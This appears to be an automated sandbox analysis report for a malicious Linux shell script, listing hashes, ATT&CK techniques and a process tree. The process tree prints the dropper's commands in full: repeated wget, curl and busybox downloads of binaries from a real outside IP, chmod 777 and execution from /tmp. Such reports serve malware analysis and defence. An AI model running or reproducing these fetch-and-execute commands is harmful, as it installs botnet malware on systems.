1658d2e510f10fc01acf1a34a0a2e77d0dd1ef5dfcf463f784129e0ebabe1b34

Analysis

max time kernel
17s
max time network
19s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
21/11/2024, 03:07

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General

Target
1658d2e510f10fc01acf1a34a0a2e77d0dd1ef5dfcf463f784129e0ebabe1b34.sh
Size 10KB
Sample241121-dmlqmaxfqe
SHA256 1658d2e510f10fc01acf1a34a0a2e77d0dd1ef5dfcf463f784129e0ebabe1b34
MD5 bfe4826e001e518017ecc71994d7242a
SHA1 1aba4ac9e21f490dbd71406ec4fbf370b31278ec
SHA512 8197cc2ab25ed22e9e8a883d371f6efd4e049013a2781d98203abf8a50eaee6c69f27053b5d5529f97c91d789c5bbd551a921a3ea0b5d2f982a6899e1fa5262b
SSDEEP 192:9cvXCvXCvX4ZX374SSc9ZG9089v77r56q2Ga77r56q2BvXCvXCvX4ZXfSSc9ZG/:9cvyvyvwH74SSc9ZK089v77r56q2Ga7n
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
797	chmod
815	chmod
696	chmod
721	chmod
743	chmod
791	chmod
809	chmod
823	chmod
680	chmod
761	chmod
785	chmod
803	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW	681	SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
/tmp/vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg	697	vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
/tmp/0xAUqBtxYzscUUXZytllctNeDQXesIeHFK	724	0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
/tmp/Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p	744	Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
/tmp/RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm	762	RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
/tmp/yuFnig7SLqukn75LnZmw06l61kE18cmyJU	786	yuFnig7SLqukn75LnZmw06l61kE18cmyJU
/tmp/D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX	792	D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
/tmp/5UsXnRC524zBEEk2TH0apfry8KrElbTlAH	798	5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
/tmp/cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O	804	cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
/tmp/buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY	810	buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
/tmp/Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx	816	Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
/tmp/WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r	824	WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY	curl
File opened for modification	/tmp/Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx	curl
File opened for modification	/tmp/RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm	curl
File opened for modification	/tmp/yuFnig7SLqukn75LnZmw06l61kE18cmyJU	curl
File opened for modification	/tmp/0xAUqBtxYzscUUXZytllctNeDQXesIeHFK	curl
File opened for modification	/tmp/Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p	curl
File opened for modification	/tmp/D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX	curl
File opened for modification	/tmp/5UsXnRC524zBEEk2TH0apfry8KrElbTlAH	curl
File opened for modification	/tmp/cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O	curl
File opened for modification	/tmp/WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r	curl
File opened for modification	/tmp/SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW	curl
File opened for modification	/tmp/vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg	curl

/tmp/1658d2e510f10fc01acf1a34a0a2e77d0dd1ef5dfcf463f784129e0ebabe1b34.sh
/tmp/1658d2e510f10fc01acf1a34a0a2e77d0dd1ef5dfcf463f784129e0ebabe1b34.sh
1⤵
PID:646
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:648
- /usr/bin/wget
  wget http://216.126.231.240/bins/SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
  2⤵
  PID:650
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:668
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
  2⤵
  PID:678
- /bin/chmod
  chmod 777 SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
  ./SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
  2⤵
  - Executes dropped EXE
  PID:681
- /bin/rm
  rm SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
  2⤵
  PID:682
- /usr/bin/wget
  wget http://216.126.231.240/bins/vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
  2⤵
  PID:683
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
  2⤵
  PID:689
- /bin/chmod
  chmod 777 vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
  2⤵
  - File and Directory Permissions Modification
  PID:696
- /tmp/vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
  ./vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
  2⤵
  - Executes dropped EXE
  PID:697
- /bin/rm
  rm vjQ4PJhevk47y44eHohAnAb7Lrnm0uNrWg
  2⤵
  PID:698
- /usr/bin/wget
  wget http://216.126.231.240/bins/0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
  2⤵
  PID:700
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:707
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
  2⤵
  PID:715
- /bin/chmod
  chmod 777 0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
  2⤵
  - File and Directory Permissions Modification
  PID:721
- /tmp/0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
  ./0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
  2⤵
  - Executes dropped EXE
  PID:724
- /bin/rm
  rm 0xAUqBtxYzscUUXZytllctNeDQXesIeHFK
  2⤵
  PID:726
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
  2⤵
  PID:742
- /bin/chmod
  chmod 777 Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
  ./Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm Ot7JbZTdWhqii4VfudCKQMf3wiR7bRg93p
  2⤵
  PID:745
- /usr/bin/wget
  wget http://216.126.231.240/bins/RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
  2⤵
  PID:754
- /bin/chmod
  chmod 777 RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
  ./RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
  2⤵
  - Executes dropped EXE
  PID:762
- /bin/rm
  rm RdiwWF36FzNlM2CWBEp5isVd7a7pyBY8mm
  2⤵
  PID:763
- /usr/bin/wget
  wget http://216.126.231.240/bins/yuFnig7SLqukn75LnZmw06l61kE18cmyJU
  2⤵
  PID:765
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/yuFnig7SLqukn75LnZmw06l61kE18cmyJU
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:773
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/yuFnig7SLqukn75LnZmw06l61kE18cmyJU
  2⤵
  PID:782
- /bin/chmod
  chmod 777 yuFnig7SLqukn75LnZmw06l61kE18cmyJU
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/yuFnig7SLqukn75LnZmw06l61kE18cmyJU
  ./yuFnig7SLqukn75LnZmw06l61kE18cmyJU
  2⤵
  - Executes dropped EXE
  PID:786
- /bin/rm
  rm yuFnig7SLqukn75LnZmw06l61kE18cmyJU
  2⤵
  PID:787
- /usr/bin/wget
  wget http://216.126.231.240/bins/D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
  2⤵
  PID:790
- /bin/chmod
  chmod 777 D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
  ./D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm D1qtKRE5wwnGVPAOrulQay4Y4Sih3LVMLX
  2⤵
  PID:793
- /usr/bin/wget
  wget http://216.126.231.240/bins/5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:795
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
  2⤵
  PID:796
- /bin/chmod
  chmod 777 5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
  ./5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
  2⤵
  - Executes dropped EXE
  PID:798
- /bin/rm
  rm 5UsXnRC524zBEEk2TH0apfry8KrElbTlAH
  2⤵
  PID:799
- /usr/bin/wget
  wget http://216.126.231.240/bins/cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
  2⤵
  PID:800
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
  2⤵
  PID:802
- /bin/chmod
  chmod 777 cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
  ./cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm cy16I181L2h0oyuVrDTAgDwzqfZfDRTV4O
  2⤵
  PID:805
- /usr/bin/wget
  wget http://216.126.231.240/bins/buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
  2⤵
  PID:808
- /bin/chmod
  chmod 777 buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
  ./buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm buMon2AQgX5XM3RlLtlmmqFNwKnUC5umrY
  2⤵
  PID:811
- /usr/bin/wget
  wget http://216.126.231.240/bins/Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
  2⤵
  PID:814
- /bin/chmod
  chmod 777 Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
  ./Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm Hm0qkmEeSETJT3lfayqj1qeJHoFDFLEeTx
  2⤵
  PID:817
- /usr/bin/wget
  wget http://216.126.231.240/bins/WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:821
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r
  2⤵
  PID:822
- /bin/chmod
  chmod 777 WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r
  ./WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r
  2⤵
  - Executes dropped EXE
  PID:824
- /bin/rm
  rm WIDMTO89nQhutuNGmdj2quGbJ7FuEeaW0r
  2⤵
  PID:825
- /usr/bin/wget
  wget http://216.126.231.240/bins/fmUXsqlAftc2z6t2oI5KlHGpyQ1KCL47jv
  2⤵
  PID:826

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW

Path /tmp/SdXWpUx6uSch8bD6kAmZwMXpROlvqj7xJW
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

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MITRE ATT&CK Enterprise v15

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